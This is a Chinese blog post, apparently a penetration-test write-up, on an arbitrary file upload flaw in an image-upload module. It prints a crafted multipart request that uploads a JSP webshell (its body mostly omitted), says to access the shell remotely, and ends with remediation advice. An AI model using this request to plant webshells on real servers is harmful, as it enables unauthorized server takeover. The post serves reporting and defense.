0


任意文件上传漏洞

上传漏洞允许攻击者通过上传木马文件,直接获取web服务器的权限。图片上传模块存在任意文件上传漏洞,通过修改图片上传传输页面的数据包可以上传木马文件,并最终获取到服务器的权限,如下图所示。

木马程序如下:

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="file"; filename="webshell.jsp"

Content-Type: text/html

<%@page pageEncoding="utf-8"%>

<%@page import="java.io.*"%>

<%@page import="java.util.*"%>

<%@page import="java.util.regex.*"%>

。。。。。。。。。此处代码省略。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

bout.close();

out.flush();

((Invoker) ins.get("bottom"))

.invoke(request, response, session);

((Invoker) ins.get("after")).invoke(request, response, session);

}

%>

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="uploadPath"

people

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="uploadFloderPath"

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="isRename"

no

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="maxSize"

2

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="allowedFile"

------WebKitFormBoundaryS5DF515w3dmuH4em--

最后,找到文件上传的路径,此次文件上传成功后,响应数据包会返回文件上传的物理路径如下图,最后再远程访问该木马文件。

任意文件上传漏洞整改建议:

1、建议对上传文件做有效文件类型判断,网站前台后台均需进行判断,采用白名单控制的方法,开放只允许上传的文件类型,其中文件类型判断应对上传文件的后缀、文件头、图片类型的预览图等做检测来判断文件类型,同时注意重命名上传文件的文件名避免攻击者利用web服务器的缺陷构造畸形文件名实现攻击目的。

2、服务器端读取文件的部分内容作判断,可防止攻击者伪装文件类型上传。

3、权限方面,统一上传模块写入文件的位置并取消上传目录的程序运行权限。

4、使用第三方web防火墙来加固整个网站系统。

标签: 网络 安全

本文转载自: https://blog.csdn.net/gaomei2009/article/details/126502219
版权归原作者 gaomei2009 所有, 如有侵权,请联系我们删除。

“任意文件上传漏洞”的评论:

还没有评论